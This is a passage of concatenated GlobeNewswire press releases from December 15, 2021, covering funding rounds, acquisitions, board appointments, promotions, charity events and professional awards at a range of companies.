LLP. Early in her legal career, she was an associate in the Atlanta office of Sutherland Asbill & Brennan LLP (now Eversheds Sutherland LLP), where she worked on municipal finance and corporate matters. Lokken earned her bachelors degree from the University of Michigan and her law degree from the University of Southern California Law School. Hunton Andrews Kurths public finance practice reflects experience in addressing virtually every significant legal issue that affects both governmental financing and tax-exempt financing for nonprofit corporations. The firm has served as bond counsel, special disclosure counsel and counsel to issuers, underwriters, trustees, credit enhancers and institutional investors in transactions throughout the United States. With lawyers in the United States, Asia, Europe and the Middle East, Hunton Andrews Kurth LLP serves clients across a broad range of complex transactional, litigation and regulatory matters. For more information, please contact Jeremy Heallen at +1 713 220 3713. MIAMI, Dec. 15, 2021 (GLOBE NEWSWIRE) -- El American Inc. , the leading Hispanic conservative news platform that promotes free markets and America's Founding Principles, announced today the close of its seed funding round of $1.776M. This equity financing raise done "by US Hispanics, for US Hispanics", comes to accelerate growth as El American scales to meet strong demand for conservative news from the U.S. Hispanic market. A recent Wall Street Journal poll shows that 62 million Hispanics, the fastest-growing demographic in the U.S., are evenly divided between the Republican and the Democratic parties. "El American's objective is to win the hearts and minds of Hispanics with a pro-freedom message in both English and Spanish," said Jorge Granier, El American's CEO, Publisher and co-founder. "With this funding, we will scale our podcast and video operations, launch our app and expand our social media footprint to reach even more Hispanics in the U.S. and around the world." Founded in late 2020, after the contentious election season, El American has assembled a team of award-winning journalists, writers, and influencers, and has reached over 250 million interactions across its social media accounts during its first year of operation. Through its site elamerican.com and with an active presence on Twitter, Facebook, Instagram, YouTube, GETTR, and TikTok, El American reaches across the key 18-55 demographic within the Hispanic audience. "Given our team's deep experience in media, having launched multiple cable networks and streaming platforms, we are excited to announce our plans to launch the first conservative news network focused exclusively on Hispanics in 2022," added Carlos Penzini, co-founder and chairman of the board. El American is planning to go on to a Series A raise in 2022 to launch its streaming platform, cable channel and expand its content offering, to continue capitalizing on the growing Hispanic opportunity. ### For more information on El American, visit: https://elamerican.com https://elamerican.com/aboutus/ https://elamerican.com/we-are-el-american/ ABOUT EL AMERICAN El American is the bilingual digital media platform focused on providing information, opinion, analysis and real journalism to the fastest growing audience in the United States: Hispanics. Founded by two Hispanics and proud American citizens, El American targets conservative and libertarian Hispanics across the U.S. Contact: press@elamerican.com Twitter: @ ElAmerican_ Instagram: @ elamerican_ TikTok: @ elamerican_ Facebook: @ ElAmerican1 ### Related Files Series Seed Press Release.pdf Related Images Image 1: El American logo El American logo long This content was issued through the press release distribution service at Newswire.com. Attachment LOS ANGELES, Dec. 15, 2021 (GLOBE NEWSWIRE) -- via InvestorWire Marijuana Company of America, Inc. (OTC: MCOA) (the Company), a diversified holding company with operations and investments throughout the cannabis industry, announces that it has recently completed the acquisition of VBF Brands, Inc. (VBF) a marijuana cultivator and distributor based in Salinas, California. VBF was previously a wholly-owned subsidiary of Sunset Island Group, Inc. (OTC: SIGO). Based on the activity since the acquisition was consummated in Q3 2021, MCOA expects this transaction will continue to be highly accretive to the Company's EBITDA expectations for 2022 and will work towards increasing production at a nearby Salinas based facility that also offers exponential growth opportunities with other nearby land and facilities. California continues to be the countrys largest legal cannabis market and offers tremendous market potential for MCOA with this acquisition that includes cannabis nursery, cannabis manufacturing/distribution and cultivation licenses. Jesus Quintero, CEO of Marijuana Company of America, Inc. stated, The acquisition of VBF Brands, Inc. perfectly encapsulates MCOAs strategy to expand our business by organic growth and acquisitions of synergistic and often undercapitalized assets existing today in the Cannabis industry. We are confident that by providing this entity with capital and operational depth to the already impressive operations will increase the capacity, and greatly bolster our position in the California Cannabis market." VBF brands, Inc. has been a cultivator and distributor in Salinas, California, for the past two years and utilizes its own growing systems to produce popular cannabis clones that are proprietary certified clean, designed to assist growers by reducing uncertainty and enhancing the likelihood of a successful cultivation harvest. Cannabis clones carry the exact same genetic potential as their mother plant and have similar cannabinoid and terpene profiles when grown properly. When clones are selected from healthy, high-quality mother plants, they also inherit their vigor, and natural resistance to mold, mildew, and pests. Quintero added, We are especially intrigued with this acquisition because of VBFs reputation for high-quality clones and its unique use of its growing space. The Company employs a three-tiered growing system, thereby maximizing the square footage of its Salinas, California, facility. Few growers offer the efficiency of VBF Brands, Inc., which provides greater efficiency and sustainable cultivation techniques to provide growers with access to locally grown, high-quality clones to grow cannabis flower. Clones are made in an expedient manner and sold for use to other cannabis flower growers that now dont have to wait six months to cultivate and sell. This latest acquisition exemplifies MCOAs commitment to grow its business while remaining fiscally prudent and further establish itself as a leader in the legalized cannabis THC, hemp & CBD industries. MCOA offers unique and diversified exposure to the global cannabidiol sector and fully intends to continue expanding its footprint with investments and collaborations with both new and existing strategic partners as well as spur organic growth from synergistic acquisitions. Marijuana Company of America offers the highest quality premium-brand products and the opportunity to be at the vanguard of growth and innovation in the legal cannabis and industrial hemp industries. We are excited about the growth potential with our partners at SIGO that we acquired from VBF as we work to significantly expand our footprint in Salina. MCOA has the option to acquire 51% of SIGOs new cannabis growth facility that is significantly larger than the current clone facility operated by VBF. The new facility is obtaining licenses for mass cultivation, manufacturing, and distribution and should have projected annual income after the first year of operations of over $30M. About Marijuana Company of America, Inc. Marijuana Company of America (MCOA) invests in the cannabis sector directly. The companys operations include C-Distro, one of the THC, Hemp & CBD cannabis industries fastest growing distribution companies, and hempsmart, a Premium CBD company. The company's core mission is to leverage its experience, and access to capital to identify and invest in acquisitions with unique growth potential. Forward-Looking Statements This news release contains 'forward-looking statements,' which are not purely historical and may include any statements regarding beliefs, plans, expectations, or intentions regarding the future. Such forward-looking statements include, among other things, the development, costs, and results of new business opportunities and words such as 'anticipate,' 'seek,' 'intend,' 'believe,' 'estimate,' 'expect,' 'project,' 'plan,' or similar phrases may be deemed 'forward-looking statements' within the meaning of the Private Securities Litigation Reform Act of 1995. Actual results could differ from those projected in any forward-looking statements due to numerous factors. Such factors include, among others, the inherent uncertainties associated with new projects, the future U.S. and global economies, the impact of competition, and the Company's reliance on existing regulations regarding the use and development of cannabis-based products. These forward-looking statements are made as of the date of this news release, and we assume no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those projected in the forward-looking statements. Although we believe that any beliefs, plans, expectations, and intentions contained in this press release are reasonable, there can be no assurance that any such beliefs, plans, expectations, or intentions will prove to be accurate. Investors should consult all of the information set forth herein and should also refer to the risk factors disclosure outlined in our annual report on Form 10-K, our quarterly reports on Form 10-Q, and other periodic reports filed from time to time with the Securities and Exchange Commission. For more information, please visit www.marijuanacompanyofamerica.com or visit www.sec.gov. CONTACT: info@marijuanacompanyofamerica.com info@mcoainvestments.com 888-777-4362 THIS NEWS RLEASE IS NOT FOR DISTRIBUTION IN THE UNITED STATES OR TO U.S. NEWS AGENCIES Toronto, Dec. 15, 2021 (GLOBE NEWSWIRE) -- NEW WAVE HOLDINGS CORP. (the "Company" or "New Wave") (CSE: SPOR) (FWB: 0XM2) (OTCPK: TRMNF) an investment issuer that provides capital and support services, provides an update to its spin-out transaction (the Spin-out Transaction) announced on May 21, 2021, whereby a portion of the shares of its wholly owned subsidiary, Way of Will Inc. (WoW) will be distributed pro-rata to shareholders of New Wave, by way of a dividend-in-kind. The Company has set December 17, 2021 as the record date (the Record Date) for the Spin-out Transaction. Capital Distribution of WoW shares to Shareholders of New Wave The spin-out of WoW will happen in the form of a distribution of shares (the Shares) of WoW to holders (the New Wave Shareholders) of common shares of WoW (the WoW Shares), other than New Wave Shareholders residing in Quebec and the United States (the Distribution). New Wave Shareholders residing in Quebec and the United States (the Ineligible Holders) will receive cash instead of Shares pursuant to the spin-out, as explained below. All New Wave Shareholders of record at the close of business on the Record Date will be entitled to receive 0.3061 Share for every one New Wave share held, other than the Ineligible Holders. New Wave Shareholders are not required to pay for the Shares they receive by way of the Distribution, to tender or surrender their New Wave shares, or to take any other action in connection with the Distribution. The Distribution is expected to be completed on or around January 24, 2022. Spin-out to Ineligible Holders As described in further detail in WoWs final prospectus dated December 13, 2021, no Shares will be issued to Ineligible Holders. Rather, such Shares will be delivered to a custodian for sale in the open market following the Distribution, and the net cash proceeds will be delivered to Ineligible Holders, net of any withholding taxes (if applicable). New Wave Shareholders who want to ensure that they receive their Shares should complete and return a Declaration of Residency form on or before January 17, 2022 (such form is available on New Waves SEDAR profile at www.sedar.com). New Wave Shareholders who hold their New Wave shares through a brokerage or other account are urged to contact their brokers to ensure that they are not deemed to be Ineligible Holders. This news release does not constitute an offer to sell or the solicitation of an offer to buy securities in any jurisdiction. The WoW Shares to be distributed have not been approved or disapproved by any Canadian or U.S. regulatory authority nor has any such authority passed upon the accuracy or adequacy of the preliminary prospectus. The WoW Shares will not be distributed in any state or jurisdiction, including the United States, where an offer, solicitation or sale of the WoW Shares would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction. Any public offering of securities to be made in the United States can only be made pursuant to an effective registration statement. The WoW Shares have not been registered under the United States Securities Act of 1933, as amended (the U.S. Securities Act), or any state securities laws, and the Company has no intention of filing such a registration statement in connection with the distribution of the WoW Shares. Accordingly, shareholders of the Company who are resident in the United States or who are U.S. persons (as defined in Rule 902 of Regulation S under the U.S. Securities Act) will not be entitled to participate in the distribution of the WoW Shares, except as set out above and in the preliminary prospectus of WoW. ABOUT NEW WAVE HOLDINGS CORP. New Wave Holdings Corp. (CSE: SPOR, FWB: 0XM2, OTCPK: TRMNF) is an investment issuer focused on the burgeoning nutraceutical and psychedelic sector and support for adaptive and progressive health and wellness products and therapies. New Wave subsidiaries contain various health and beauty products within its portfolio of non-psychoactive plants and fungi as it continues to expand its product distribution through vertical integration to provide end to end solutions while capturing a high margin business model. Investors interested in connecting with New Wave Holdings can learn more about the company and contact the team at http://newwavecorp.com. For further information please contact: Willie Tsang, Interim Chief Executive Officer, New Wave Holdings Corp., willie@newwavecorp.com The Canadian Securities Exchange has not reviewed and does not accept responsibility for the adequacy or accuracy of the content of this news release. CAUTIONARY STATEMENT ON FORWARD-LOOKING INFORMATION Certain statements contained in this news release may constitute forwardlooking information, including but not limited to, applicable regulatory approval in connection with the Spin-Out Transaction. Forwardlooking information is often, but not always, identified by the use of words such as "anticipate", "plan", "estimate", "expect", "may", "will", "intend", "should", and similar expressions. Forwardlooking information involves known and unknown risks, uncertainties and other factors that may cause actual results or events to differ materially from those anticipated in such forwardlooking information. The Company's actual results could differ materially from those anticipated in this forwardlooking information as a result of competitive factors and competition for investment opportunities, challenges relating to operations in international markets, transaction execution risk, changes to the Company's strategic growth plans, and other factors, many of which are beyond the control of the Company. The Company believes that the expectations reflected in the forwardlooking information are reasonable based on current expectations, but no assurance can be given that these expectations will prove to be correct and such forwardlooking information should not be unduly relied upon. Any forwardlooking information contained in this news release represents the Company's expectations as of the date hereof and is subject to change after such date. The Company disclaims any intention or obligation to update or revise any forwardlooking information whether as a result of new information, future events or otherwise, except as required by applicable securities legislation. Attachment New Orleans, LA/New York, NY, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Trahan Architects and Usdan announced today they are creating a strategic master plan for Usdan, on Long Island, New York, to support ongoing operations as a summer arts camp for children, the development of year-round programs for people of all ages, and revenue generation to support student scholarships and ensure the continuity of this dynamic place that has played a formative role in over 40,000 children's lives. The strategic master plan will outline a vision of a sustainable campus that leverages existing assets and is deeply rooted in nature one which fosters creativity, community and an exploratory approach to learning; retaining Usdans incredible spirit of place and the very special connection to nature that makes this campus so unique. Lauren Brandt Schloss, executive director at Usdan said, Trahan Architects has such an acute passion for the relationship between land and the built environment. Usdan is both built structures and a wilderness landscape, so we thought Trahan's sensitivity to the natural world was a perfect fit. When I first met members of the firm, one of the first images they shared was of the Fundo Tic-Toc Pier in Chile, said Schloss. When I saw the harmony of the simple structure and how it highlighted the beauty of the environment, in my mind, I thought, We are done! We found our partner. Lets bring this sensibility to Usdan. Further, when I walked the campus with founder and CEO, Trey Trahan, he talked about how the land itself will have all our answers. Creating a sustainable world for this community is a high priority for my colleagues and me, so Trahans respect for the lessons of the land will guide us in our work together. According to Schloss, Usdan hopes the campus, which traditionally hosted a singular arts program during the summer season for a youth community will expand to year-round multi-faceted arts programming for people of all ages. They envision the campus hosting these new and additional uses. The partnership with Trahan will allow them to plan for these changes and support the maximum benefit for the community with minimum impact on the land. Trahan Architects New York Citys managing principial, Kevin Thomas said, Usdan embodies the transformative power of the arts with a campus that is deeply rooted in nature. This synergy of culture and the environment is directly aligned to how we approach our work. Usdans vision is powerful, honest and authentic to the arts. This creates a unique opportunity for visitors to focus on the arts experience in a safe, open and accessible environment within the wooded arts campus. Usdan plays a formative role in many students lives, and Trahan Architects is very grateful to contribute to their journey. Trahan Architects is a multi-disciplinary firm based in New Orleans with an additional studio in New York City whose projects include the renovation of the Caesars Superdome (formerly the Mercedes-Benz Superdome) in New Orleans and the Coca-Cola Stage at the Alliance Theatre in Atlanta, Georgia. Trahan Architects has won five National AIA Awards and is ranked the number one design firm by Architect 50, the annual ranking by Architect magazine, the official publication of the American Institute of Architects which topped the list by building dramatic, sumptuous and well-detailed projects. Attachment NEWPORT NEWS, Va., Dec. 15, 2021 (GLOBE NEWSWIRE) -- Aery Aviation, LLC has acquired an additional 12 Learjet special mission aircraft (SMA), increasing its SM fleet to 26. Aery also acquired millions of dollars of support equipment and spare parts inventory. The ancillary equipment and parts will enhance Aery's global logistics and maintenance support of the fleet and fulfilling its strategic vision of multiple operating bases in the U.S. and planned growth next year to several international bases. With this acquisition, Aery is now the largest Learjet SMA fleet in the world, serving DoD, foreign governments, and commercial customers. Aery plans to grow the services as well as locations with its fleet to SM medical operations, lidar mapping, atmospheric measuring, EO/IR ISR operations, and more. These new services are in addition to its existing SM medical, banner/target tow (TBT) operations, and a variety of radar/electronic warfare (EW) and stand off jamming (SOJ) training and fleet operations. Aery anticipates flying over 5,000 flight hours and expanding to nearly 7,000 flight hours annualized flight hours by the end of 2022. Aery is the operator of one of the largest contractor air services (CAS) contracts for the United States Navy and also operates a global flight operations program for one of the largest global hospital networks in the world. A new facility being constructed at Aery's headquarters in Newport News, VA will become the fleet heavy maintenance base of operations. Aery's Special Mission fleet has grown to support, in part, its U.S. Navy HEEWJ contract. Aery is completing intense design, engineering, modification, testing, and certification iterations on three models of Learjet as well as Gulfstream IV at its corporate headquarters facilities. Aery's HEEWJ Program Chief Pilot, Hunter Hobson noted, "[T]he fully modified aircraft will provide the Navy with next-generation services including SOJ, EW, and TBT, flying CONUS and OCONUS." Aery will be certifying over a dozen FAA Supplemental Type Certificates (STCs) baseline and configuration changes for wing hardpoints, radomes, and a variety of mission critical systems. "These aircraft are used to simulate a wide variety of airborne threats to train and test/evaluate shipboard and aircraft squadron weapon systems, operators, and aircrew on how to counter potential enemy Electronic Warfare (EW) and Electronic Attack (EA) operations in today's Electronic Combat (EC) environment. This support is provided in a variety of venues, from basic 'schoolhouse' Air Intercept Control (AIC) training, to large multinational exercises and small, single unit training exercises, including target/banner tow missions," commented Larry Hecht, Aery's Director of Flight Operations. Aery's design, build, fly approach provides customers with on time, on budget, and on performance deliveries. Aery is a small company that incorporates ISO9001/AS9100D compliance functions and FAA Part 135 certified flight operations meeting all FAA regulations for an approved Air Carrier authorized to operate a multitude of aircraft under worldwide operations, along with FAA DER and DAR. For more information, please contact Heather McAfee hmcafee@aeryaviation.com Related Images Image 1 This content was issued through the press release distribution service at Newswire.com. Attachment Dallas, Texas, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Kane Russell Coleman Logan proudly announces that Karen Cox has received the 2021 Lawyers in Real Estate Award, presented by Connect Media. The Connect Media editorial team selected winners from hundreds of nominations across the U.S. for this years Lawyers in Real Estate Awards. Honorees were selected for excelling in their practices as well as their contributions to the community. The KRCL Real Estate practice has been a dynamic part of the Dallas commercial real estate market for nearly 30 years and it is especially gratifying to receive this honor as we approach the firms 30th anniversary. Connect Media is a top source of news for the commercial real estate industry and their support and recognition is very meaningful to me, said Karen Cox, Managing Director and Chair of the Board for KRCL. The full list of 2021 honorees are highlighted on the Connect CRE website and email announcements to the Connect Media national database of over 150,000 commercial real estate professionals. Attachment Singapore, Dec. 15, 2021 (GLOBE NEWSWIRE) -- myMessage, a SocialFi protocol with a focus on data and censorship-resistant social media solutions for Web3, has announced the successful completion of a $2.1 million raise from leading blockchain investors including Basics Capital, D21 Ventures, Gains Associates, x21 Digital, Magnus Capital, AU21 Capital, Exnetwork Capital, Oddiyana Ventures, Onebit Ventures, ZBS Capital, Dreamboat Capital, and more. myMessage is helping solve a growing problem with social media platforms that are becoming even more prone to unknown censorship, especially when dealing with important subjects such as politics and the current pandemic. myMessage offers a novel solution that includes various components such as a decentralized Reddit-like social media and a decentralized data storage platform, all built to be multi-chain accessible and compatible with all popular Web3 products. This will help ensure monetization happens both at the right time and to the right people, without interference from any centralized institution. A representative from myMessage says, The demand for Web3 protocols that promote censorship-resistant solutions, including data and cloud storage, has never been greater. With the support of our investors and partners, myMessage is well positioned to make an impact in the industry, especially considering its affordability for all stakeholders. To date, this space is wide open due to the speed and nacency of the Web3 landscape. Thankfully, myMessages team and technological resources will allow it to scale to capture the first mover market advantage. myMessage is currently completing its IDO in anticipation for the initial release of MESA, the companys native token. Upon listing, MESA will have an initial market cap of $408,000 with a total supply of 5 billion tokens. MESAs IDO will take place on two launchpads. The first, BSCStation, has already sold out. The second IDO will take place on December 18 on TrustPad. In recent months, myMessage has announced that it was the recipient of a Polygon grant, as well as partnered with Islander to focus on Web3 development. About myMessage myMessage is the world's first-ever light-grade decentralized Reddit-like social media & data storage platform built on a multi-chain structure, supporting evolving applications including a decentralized thread-reply bulletin board, messaging dApp, developer tools & SDKs, and Data Portal to provide encrypted data feedings to Web3 applications with Quantum-resistant level of security. Website: https://mymessage.io/ Twitter: https://twitter.com/myMessageOS Discord: https://discord.gg/BCKyD3HxRh Telegram: https://t.me/mymessageEN Media Contact: Charlie Chen, business@mymessage.io CHICAGO, ILLINOIS, Dec. 15, 2021 (GLOBE NEWSWIRE) -- H. Ross Ford, president and CEO of TCN Worldwide, is pleased to announce the TCN Worldwide Board of Directors, which were elected at this years TCN Worldwide Fall Conference held in Austin, TX. Ben Azulay, Principal & President, Chicago Region at Bradford Allen Realty/TCN Worldwide, was originally elected to TCNs Board in 2017 serving as Secretary of the Board of Directors. Since joining Bradford Allen as an associate in 2004, Mr. Azulay has made significant contributions to the firm. In 2015, Ben became a Principal due to his hard work, dedication, and vested interest in the direction of the company and he currently oversees brokerage at the firm. As a member of the leadership team, he plays an integral role in the strategic direction of Bradford Allen. His expertise in assisting commercial office clients with operational, qualitative, and financial structuring allows Ben to easily identify problem areas and craft smart, client-specific real estate solutions. This will be Mr. Azulays second term on the TCN Worldwide Board of Directors. We are extremely pleased to announce TCN Worldwides Board of Directors, stated Ross Ford. Ben is a recognized leader in his market and represents the type of professional that has made TCN Worldwide the successful organization it is today. He has distinguished himself as one of our organizations most impressive leaders and we are fortunate to have someone of his caliber help lead TCN Worldwide in accomplishing our strategic goals. Bradford Allen was founded in 2003 in Chicago to fill the void between large commercial real estate providers and small boutique firms. The firm has grown into a best-in-class brokerage offering a full array of services, including tenant representation, landlord representation, consulting and advisory services, property and asset management, as well as construction and project management. The recent launch of Bradford Allen New York in September 2021, TCN Worldwides newest member and flagship New York City affiliate, represents the latest expansion for the Bradford Allen organization. The 2022 TCN Worldwide Board of Directors include: Gerald Sullivan, Principal and Managing Broker at PW Commercial/TCN Worldwide in Chicago. Mr. Sullivan will serve as Chairman of the Board. William Sitar Jr., Vice President at Sitar Realty/TCN Worldwide in New Jersey. Mr. Sitar will serve as Vice-Chair. Ben Azulay, Principal & Executive Managing Director at Bradford Allen Realty/TCN Worldwide in Chicago. Mr. Azulay will serve as Secretary. Timothy Mitchell, Principal at Norris & Stevens, Inc./TCN Worldwide in Portland. Mr. Mitchell will serve as Treasurer. Jonathan Rosenberg, Co-Founder and Managing Partner of LevRose Commercial Real Estate/TCN Worldwide in Phoenix, will serve as an at-large Board Member. Paul Licausi, President of LS Commercial Real Estate Services, Inc./TCN Worldwide in Kansas City, will serve as an at-large Board Member. H. Ross Ford, President & CEO of TCN Worldwide in Richardson, TX. Mr. Ford is responsible for the strategic direction of the organization and the implementation of all expansion and networking initiatives. About TCN Worldwide Founded in 1989, TCN Worldwide ranks as one of the largest service providers in the commercial real estate industry. An alliance of top independent brokerage firms serving more than 200 primary and secondary markets worldwide, TCN Worldwide provides complete integrated commercial real estate solutions across North America, Asia, the Middle East, and Australia. Offering an extensive range of real estate services coupled with a personal commitment to exceed client expectations, TCN Worldwide represents approximately $38.5 billion in transactions annually across its 60+ offices and more than 1,500 commercial real estate professionals. For more information on TCN Worldwide, visit www.TCNWorldwide.com. # # # Attachment San Diego, CA, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Liberty Military Housing (LMH) hosted their 13th annual drive-thru tree giveaway event for residents in the San Diego area. Employees of LMH assisted 300 military families in selecting a fresh-cut tree during the drive-thru-style event. Families experienced a few magical moments, including a snowfall, magic tricks, and a special appearance from Santa. Each family received a pizza voucher to enjoy a night off of cooking while decorating their tree. Christmas trees are one of the most iconic symbols of holiday spirit, found in almost any home around this time of year. At Liberty Military Housing, we want to ensure that military service members have a memorable holiday season, whether deployed overseas or at home. The tree giveaway is just one of many events throughout the country exclusively for our residents, said Cindy Farless, Regional Community Services Director, San Diego. Since 2008, Liberty Military Housing has touched the lives of over 4,000 military families in the San Diego area by providing a free tree during the holiday season. About Liberty Military Housing Liberty Military Housing (LMH), formerly known as Lincoln Military Housing, is the leading privatized housing provider and the largest employee-owned company in the multifamily industry. LMH provides more than 36,000 homes in over 200 communities across ten states and the District of Columbia. We are proud of the award-winning communities we build and manage and continue looking ahead to new ways of serving military families, our team, and our partners. Our mission is to contribute to military readiness and morale by ensuring military families live in homes and communities built and maintained to the highest standards. LMH was formed in 2001 through a Department of Defense (DoD) contract with the parent company, Lincoln Property Company. For more information about Liberty Military Housing, please visit www.livelmh.com. Attachments CERRITOS, Calif., Dec. 15, 2021 (GLOBE NEWSWIRE) -- Korea Ginseng Corp. (KGC) is pleased to announce that it hosted a special event for nearly 150 frontline workers on Saturday, December 11 to commemorate and celebrate their tireless efforts during the pandemic. This appreciation event consisted of a movie, heartfelt gifts, and a barbeque dinner. Those in attendance included employees from local hospitals, schools, public safety systems, and police departments. For the past two years, our lives have been difficult due to COVID-19. However, due to the sacrifices made by our frontline workers, we were able to continue with our daily lives. We thank you for your hard work and wish you all a happy holiday, and a new year full of good health, said Heung-sil Lee, CEO of Korea Ginseng Corp. Additionally, KGC hosted a giving event where proceeds went to the Korean American Special Education Center to support students with developmental disabilities. For donations over $50, KGC gave donors its Everytime product ($110 value) as a token of appreciation and a way to help enhance immunity during the winter months. During the pandemic, KGC donated a variety of immunity-boosting Korean Red Ginseng products to various organizations including nonprofits, educational institutions, and police stations to keep everyone safe and healthy during quarantine. About Korea Ginseng Corp. For more than 120 years, Korea Ginseng Corp. and its CheongKwanJang brand, the Worlds No. 1 brand of Ginseng, has been dedicated to providing the worlds leading Korean Red Ginseng. Key benefits of Korean Red Ginseng include: supporting a healthy immune response; supporting healthy energy and stamina levels; supporting healthy brain function and blood circulation; and supporting menopause relief. Korean Red Ginseng is also rich in antioxidants. For more information visit, https://www.kgcus.com/. You can also follow Korea Ginseng Corp. on Facebook: www.facebook.com/KGCUS, Twitter: www.twitter.com/KGCUS, Instagram: www.instagram.com/KGCUS, and YouTube: www.youtube.com/KGCUS . Media Contacts: David Gutierrez, Dresner Corporate Services, (312)780-7204, dgutierrez@dresnerco.com Joanne Tedesco, Dresner Corporate Services, (573) 355-7855, jtedesco@dresnerco.com A photo accompanying this announcement is available at: https://prdesk.globenewswire.com/ResourceLibrary/ResourceLibrary/GetDynamicThumbnailContentContent/?resourceId=1c23b444-46ce-4b35-b847-323230fbd2b3&maxHeight=280&maxWidth=280 DANBURY, CT, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Ethan Allen Interiors Inc. (Ethan Allen or the Company) (NYSE: ETD) announced today the promotion of key leaders. Corey Whitely has been promoted to the position of Executive Vice President, Operations and will be responsible for the Companys operations including manufacturing, logistics and technology. Mr. Whitely joined the Company in 1988. Amy Franks, associated with the Company for 23 years, has been promoted to the position of Executive Vice President, Retail Network & Business Development. Matthew McNulty, currently Vice President Finance & Treasurer, has been promoted to Senior Vice President, Treasurer and Chief Financial Officer. He started his association with the Company in 2019. Farooq Kathwari, Chairman, President and CEO stated, We are very pleased in continuing to strengthen the leadership team of our vertically integrated interior design enterprise. This month we have started our celebration of 90 years of innovation, and were gratified with being profitable all these 90 years. An important factor has been our focus on one enterprise, one brand, and importantly our talented team across our manufacturing, logistics, retail, marketing, technology and service. ABOUT ETHAN ALLEN Ethan Allen Interiors Inc. (NYSE: ETD) is a leading interior design company, manufacturer and retailer in the home furnishings marketplace. The Company is a global luxury home fashion brand that is vertically integrated from product design through home delivery, which offers its customers stylish product offerings, artisanal quality, and personalized service. The Company provides complimentary interior design service to its clients and sells a full range of home furnishings through a retail network of approximately 300 design centers in the United States and abroad as well as online at ethanallen.com. Ethan Allen owns and operates nine manufacturing facilities located in the United States, Mexico and Honduras, including one sawmill, one rough mill and a lumberyard. Approximately 75% of its products are manufactured or assembled in these North American facilities. For more information on Ethan Allen's products and services, visit www.ethanallen.com. Investor / Media Contact: Matt McNulty Chief Financial Officer IR@ethanallen.com SCOTTSDALE, Ariz., Dec. 15, 2021 (GLOBE NEWSWIRE) -- Cardone Ventures and The American Academy of Hospitality Sciences, The Star Diamond Award are pleased to announce that they are donating 10,000 toys, and over $200,000 in value, as part of the Grant Cardone Ventures Grand Opening in Scottsdale, Arizona on Thursday, Dec. 16 at 3 p.m. The toys will be given out to several charities across the country including those serving the families and children affected by the country's devastating tornadoes. Of the toys being donated across the country, $100,000 worth will stay in Arizona for local charities including the Scottsdale Firefighter's Charities Association, Arizona Helping Hands, Family Promise, and Armer Foundation for Kids. 6,000 of the 10,000 toys will be presented at a ribbon-cutting ceremony at the Cardone Ventures Grand Opening on Thursday, Dec. 16 at 3 p.m. with Scottsdale Mayor, David Ortega, and other Scottsdale and state dignitaries. "We are pleased to be in a position to offer our support to Arizona, as well as the midwestern and southeastern states recently devastated by the tornados this week. We believe in supporting underserved communities, much like we do in NY and Miami, by working closely with local charities, U.S. Marines Corp Reserve Toys for Tots, as well as local and federal law enforcement and fire departments in support of those communities," says Brandon Dawson, Co-Founder and CEO of Grant Cardone Ventures and the Vice Chairman of the American Academy of Hospitality Services. "We believe in being actively involved with our community, both professionally, by hiring local employees, supporting local commerce, as well as helping the underserved and disadvantaged in these local communities. We are truly excited to be in the great state of Arizona," says Dawson. Cardone Ventures is bringing investment capital into the Grand Canyon state with its Private Equity Group. Grant Cardone and his team help small to midsize businesses grow and create massive value. Cardone's company is the largest and fastest-growing crowdfunding multi-family investment for all accredited and non-accredited investors and has raised over $700 million in crowdfunding in just three years. The new Cardone Ventures Scottsdale Headquarters is located at 4800 N Scottsdale Rd. Suite 5500, Scottsdale, AZ 85251. The company will be adding more than 100 new employees to the Scottsdale headquarters in the coming year. Cardone Ventures plans to hold large events in Scottsdale to support neighboring businesses. For interview requests or more information please contact: Buck Wise CMO of Cardone Ventures buck@cardoneventures.com 971-282-3400 For more information on Cardone Ventures visit https://www.cardoneventures.com. About Cardone Ventures: Cardone Ventures helps individuals and business owners attain their personal, professional, and financial goals. Cardone Ventures is a business consulting company founded by Grant Cardone and Brandon Dawson. Together, they help business owners experience their company from a 360-degree perspective, including operations, marketing, finance, and people. Cardone Ventures' focus is to help entrepreneurs grow from $2 million to $500 million+ and 10X all aspects of their business. About The American Academy of Hospitality Sciences: The American Academy of Hospitality Sciences is the preeminent issuer of the world-renowned Five and Six-Star awards around the world. The Star Diamond Award recognizes elite service providers or professionals around the globe. Related Images Image 1: Grant Cardone and Brandon Dawson Grant Cardone and Brandon Dawson in front of the Cardone Ventures Headquarters. This content was issued through the press release distribution service at Newswire.com. Attachment ST. PETERSBURG, Fla., Dec. 15, 2021 (GLOBE NEWSWIRE) -- Personal Injury Attorneys McQuaid & Douglas have been awarded the 2022 Expertise Award for Best Personal Injury Lawyers in St. Petersburg with an A+ rating. The Expertise Award is a nationally recognized award for the top service professionals in their fields. The Expertise Best Personal Injury Lawyers in St. Petersburg Award recognizes the top firms in the U.S. that have had the most impressive performance records over the year. An Expertise award is granted based on a five-tiered rating system encompassing availability, qualifications, reputation, experience, and professionalism. Sean McQuaid & Jonathon Douglas have earned an A+ for reputation and professionalism. Reputation is graded based on customer review quality and quantity and having strong customer ratings through online platforms. On professionalism, Expertise calls to evaluate businesses anonymously. Prompt answering, knowledgeable representatives, and polite communication earn better scores. The expertise graders awarded an A+ to McQuaid & Douglas in the following categories: responsiveness, friendliness, helpfulness, and detail. Excellence In and Out of the Courtroom Personal Injury Attorneys McQuaid & Douglas are an extension of Battaglia, Ross, Dicus & McQuaid, P.A., a comprehensive law firm. McQuaid and Douglas specialize in the areas of personal injury , auto accidents , bicycle accidents , dog bites/attacks , DUI accidents , hit and run accidents , motorcycle accidents , truck accidents , premises liability , PSTA accidents , slip and fall injuries , Uber and Lyft accidents , and wrongful death . They have been serving clients in St. Petersburg and the greater Tampa Bay area for over 60 years. Personal Injury Attorneys McQuaid & Douglas and the firm have won over 425 other awards and recognitions collectively. Sean K. McQuaid, President Sean McQuaid has been one of the premier practicing attorneys in the St. Petersburg area since joining the firm immediately after law school in 2000. He is currently the President of the firm. Sean's extraordinary leadership abilities are evident in presiding over the firm and serving as the St. Petersburg Bar Association president from 2020 through 2021. Additionally, Sean has been recognized as a Florida Super Lawyer in Plaintiff's Personal Injury law and as Florida Trend Legal Elite. Mr. McQuaid serves on the Florida Bar, the Bar of the Federal District Court for the Middle District of Florida, the St. Petersburg Bar Association, the Hillsborough Bar Association, the Clearwater Bar Association, and various other legal associations. Sean McQuaid is distinguished for his straightforward and competitive approach to practicing 